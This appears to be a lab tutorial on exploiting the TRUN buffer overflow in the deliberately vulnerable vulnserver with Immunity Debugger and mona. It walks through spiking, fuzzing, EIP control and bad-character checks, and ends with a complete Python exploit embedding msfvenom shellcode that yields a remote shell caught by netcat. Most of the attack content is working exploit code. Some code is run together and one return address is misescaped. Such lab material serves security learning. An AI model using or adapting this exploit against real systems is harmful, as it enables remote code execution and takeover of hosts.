in my situation Iβm running immunity debugger and vulnserver program which is a simple vulnerable server accepts connections on 9999 port by default and the TRUN command we will work on
Spiking
in my situation Iβm running immunity debugger and vulnserver program which is a simple vulnerable server accepts connections on 9999 port by default and the TRUN command we will work on
first we need to know which input is vulnerable this process is called spiking, we can do this by tool called **generic_send_tcp it take spiking script as an argument ,**it will send many connections and if itβs crashed so itβs a vuln input here:
#trun.spk script s_readline();s_string("TRUN")' #TRUN is the exact name of the vuln commands_string_variable("0");
generic_send_tcp192.168.1.29999trun.spk00
Fuzzing
in this process we try to estimate at what point the command will crash so we send chars and increasing it every time till it crash using this python script:
so we have 2001 byte and 4 bytes for EIP it self , our target is the 4 bytes so letβs modify our code and run it
#!/bin/python3import sys,socketfrom time import sleep#fill all rigesters with A(41) but the EIP with B(42) to make sure we got the exact 4 bytes right shellcode="A"*2001+"B"*4try: s=socket.socket(socket.AF_INET , socket.SOCK_STREAM) s.connect(('192.168.1.2',9999)) s.send(('TRUN / .:/'+ shellcode).encode()) s.close()except:print(' Error connecting to server') sys.exit()
Finding The Bad Chars
to find them we can send all the hex chars and remove them one by one so lets modify our code
#!/bin/python3import sys,socketfrom time import sleepbadchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10""\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30""\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50""\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70""\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90""\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0""\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0""\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0""\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")#fill all rigesters with A(41) but the EIP with B(42) to make sure we got the exact 4 bytes right shellcode="A"*2002+"B"*4+ badcharstry: s=socket.socket(socket.AF_INET , socket.SOCK_STREAM) s.connect(('192.168.1.2',9999)) s.send(('TRUN / .:/'+ shellcode).encode()) s.close()except:print(' Error connecting to server') sys.exit()
we run the code and go to the immunity debugger
now start search in DUMP if there are any char in wrong place or removed
when u find consecutive bad chars u have to worry about the first of them not the second (if u removed both it will still work)
sometimes when a bad char has been removed it substitute with another char (try to search for that char will be easiest to identify the bad chars but take care not all of them are bad sometimes thereβs that that char in itβs right place not a substitution)
Finding The Right Module
first download mona.py module and put it in the pycommands folder so we can use it in immunity debugger
second we find the right module in mona , the right module will have false in most of memory protection and will be attached and will be in the path of our VULN program
in our case the right one is the first one
we need to know which return address is available for us to make JMP ESP command and using our module in order to control the EIP , so we need to search for it but by the OPCODE(hexa decimal equivalent to assembly code) after that we search for the best pointer to it :
Iβll try the first one, we should try them till it works letβs modify our code:
#!/bin/python3import sys,socketfrom time import sleep#625011af that was our return adderess for the right Module and JMP command#here instead of having 4B's in EIP we will put our return address so the EIP now have a JMP code and the JMP code will take us to our mallicious codeshellcode="A"*2002+"\xaf\11\50\x62"#we write in revers cuz it's an little indian format(it put the lower order byte at the lowest address)try: s=socket.socket(socket.AF_INET , socket.SOCK_STREAM) s.connect(('192.168.1.2',9999)) s.send(('TRUN / .:/'+ shellcode).encode()) s.close()except:print(' Error connecting to server') sys.exit()
go to immunity and start to follow that return address we prepared and make a breakpoint by pressing F2 (this will make the program pause at this point actually at the EIP)
letβs run our script after that
note(the actual size was 2001 but when i tested by putting Bβs in the EIP it doesnβt work so i tried 2002 and it worked perfectly until that point ,, but now there was some problem somehow i couldnβt reach our breakpoint address so i tried to make it 2001 and it worked π so I just wanted to explain all this )
after we ran the script we should see that the EIP in a breakpoint and has been controlled π€
itβs the time to create our shell we will use MSVENOM and modify our script
-b for removing the bad chars , in our case itβs just the null byte
#!/usr/bin/python3import sys, socketfrom time import sleep#b for encodingoverflow = (b"\xbf\xab\x88\xa2\xd2\xda\xd4\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"b"\x52\x83\xee\xfc\x31\x7e\x0e\x03\xd5\x86\x40\x27\xd5\x7f\x06"b"\xc8\x25\x80\x67\x40\xc0\xb1\xa7\x36\x81\xe2\x17\x3c\xc7\x0e"b"\xd3\x10\xf3\x85\x91\xbc\xf4\x2e\x1f\x9b\x3b\xae\x0c\xdf\x5a"b"\x2c\x4f\x0c\xbc\x0d\x80\x41\xbd\x4a\xfd\xa8\xef\x03\x89\x1f"b"\x1f\x27\xc7\xa3\x94\x7b\xc9\xa3\x49\xcb\xe8\x82\xdc\x47\xb3"b"\x04\xdf\x84\xcf\x0c\xc7\xc9\xea\xc7\x7c\x39\x80\xd9\x54\x73"b"\x69\x75\x99\xbb\x98\x87\xde\x7c\x43\xf2\x16\x7f\xfe\x05\xed"b"\xfd\x24\x83\xf5\xa6\xaf\x33\xd1\x57\x63\xa5\x92\x54\xc8\xa1"b"\xfc\x78\xcf\x66\x77\x84\x44\x89\x57\x0c\x1e\xae\x73\x54\xc4"b"\xcf\x22\x30\xab\xf0\x34\x9b\x14\x55\x3f\x36\x40\xe4\x62\x5f"b"\xa5\xc5\x9c\x9f\xa1\x5e\xef\xad\x6e\xf5\x67\x9e\xe7\xd3\x70"b"\xe1\xdd\xa4\xee\x1c\xde\xd4\x27\xdb\x8a\x84\x5f\xca\xb2\x4e"b"\x9f\xf3\x66\xc0\xcf\x5b\xd9\xa1\xbf\x1b\x89\x49\xd5\x93\xf6"b"\x6a\xd6\x79\x9f\x01\x2d\xea\x60\x7d\x2c\xee\x08\x7c\x2e\xff"b"\x94\x09\xc8\x95\x34\x5c\x43\x02\xac\xc5\x1f\xb3\x31\xd0\x5a"b"\xf3\xba\xd7\x9b\xba\x4a\x9d\x8f\x2b\xbb\xe8\xed\xfa\xc4\xc6"b"\x99\x61\x56\x8d\x59\xef\x4b\x1a\x0e\xb8\xba\x53\xda\x54\xe4"b"\xcd\xf8\xa4\x70\x35\xb8\x72\x41\xb8\x41\xf6\xfd\x9e\x51\xce"b"\xfe\x9a\x05\x9e\xa8\x74\xf3\x58\x03\x37\xad\x32\xf8\x91\x39"b"\xc2\x32\x22\x3f\xcb\x1e\xd4\xdf\x7a\xf7\xa1\xe0\xb3\x9f\x25"b"\x99\xa9\x3f\xc9\x70\x6a\x5f\x28\x50\x87\xc8\xf5\x31\x2a\x95"b"\x05\xec\x69\xa0\x85\x04\x12\x57\x95\x6d\x17\x13\x11\x9e\x65"b"\x0c\xf4\xa0\xda\x2d\xdd")#625011af that was our return adderess for the right Module and JMP command#here instead of having 4B's in EIP we will put our return address so the EIP now have a JMP code and the JMP code will take us to our mallicious code#the first 2001 A's will take us to the EIP#when we get to the EIP we put our JMP address,the JMP address will take us to the instructions that we provide #the instructions we provide is our msvenom shell code we just generated #the "\x90" is NOPs is just padding between our jmp and shell code we try more than one size like 16,32..shellcode =b"A"*2002+b"\xaf\x11\x50\x62"+b"\x90"*32+ overflowtry: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.1.2',9999)) payload =b"TRUN /.:/"+ shellcode s.send((payload)) s.close()except:print ("Error connecting to server") sys.exit()
after that open netcat session listening on port u provided when make the shell and run the script and hopefully u will get the shell on the machine
and this is what we got : It means that at at 2001 bytes we can control the EIP